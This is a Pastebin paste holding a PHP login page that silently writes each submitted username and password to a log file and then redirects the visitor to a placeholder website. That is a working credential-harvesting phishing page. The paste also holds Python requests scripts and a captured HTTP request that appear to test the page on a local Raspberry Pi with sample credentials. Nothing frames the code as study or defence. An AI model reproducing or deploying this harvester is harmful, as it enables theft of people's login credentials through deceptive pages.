Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <form action="login.php" method="post">
- <input type="text" id="username" name="username"/>
- <input type="password" id="password" name="password"/>
- <input type="submit" name="Login" value="Login">
- </form>
- <html>
- <head>
- <title>Login</title>
- </head>
- <body>
- <?php
- //If Submit Button Is Clicked Do the Following
- if ($_POST['Login']){
- $myFile = "log.txt";
- $fh = fopen($myFile, 'a') or die("can't open file");
- $stringData = $_POST['username'] . ":";
- fwrite($fh, $stringData);
- $stringData = $_POST['password'] . "n";
- fwrite($fh, $stringData);
- fclose($fh);
- } ?>
- //goes here after
- <script>location.href='https://YOURWEBSITE.com';</script>
- </body>
- </html>
- import requests
- url = 'http://192.168.0.23/login.php'
- username = 'admin'
- password = 'letmein'
- r = requests.post(url, allow_redirects=False, data={
- 'username': username,
- 'password': password
- })
- General:
- Request URL: http://192.168.0.23/login.php
- Request Method: POST
- Status Code: 200 OK
- Remote Address: 192.168.0.23:80
- Referrer Policy: no-referrer-when-downgrade
- Response Headers:
- Connection: Keep-Alive
- Content-Encoding: gzip
- Content-Length: 135
- Content-Type: text/html; charset=UTF-8
- Date: Sat, 10 Nov 2018 22:01:13 GMT
- Keep-Alive: timeout=5, max=100
- Server: Apache/2.4.10 (Raspbian)
- Vary: Accept-Encoding
- Request Headers:
- POST /login.php HTTP/1.1
- Host: 192.168.0.23
- Connection: keep-alive
- Content-Length: 41
- Cache-Control: max-age=0
- Origin: http://192.168.0.23
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
- (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- Accept:text/html,application/xhtml+xml,application/xml;q=0.9,
- image/webp,image/apng,*/*;q=0.8
- Referer: http://192.168.0.23/
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.9
- Form Data:
- username: admin
- password: letmein
- Login: Login
- import requests
- url = 'http://192.168.0.23/login.php'
- username = 'admin'
- password = 'letmein'
- Login = 'Login'
- r = requests.post(url, allow_redirects=False, data={
- 'username': username,
- 'password': password,
- 'Login': Login
- })
- import requests
- headers = {'User-Agent': 'Mozilla/5.0'}
- payload = {'username':'Admin','password':'Letmein','Login':'Login'}
- session = requests.Session()
- session.post('http://192.168.0.23/login.php',headers=headers,data=payload)
Add Comment
Please, Sign In to add comment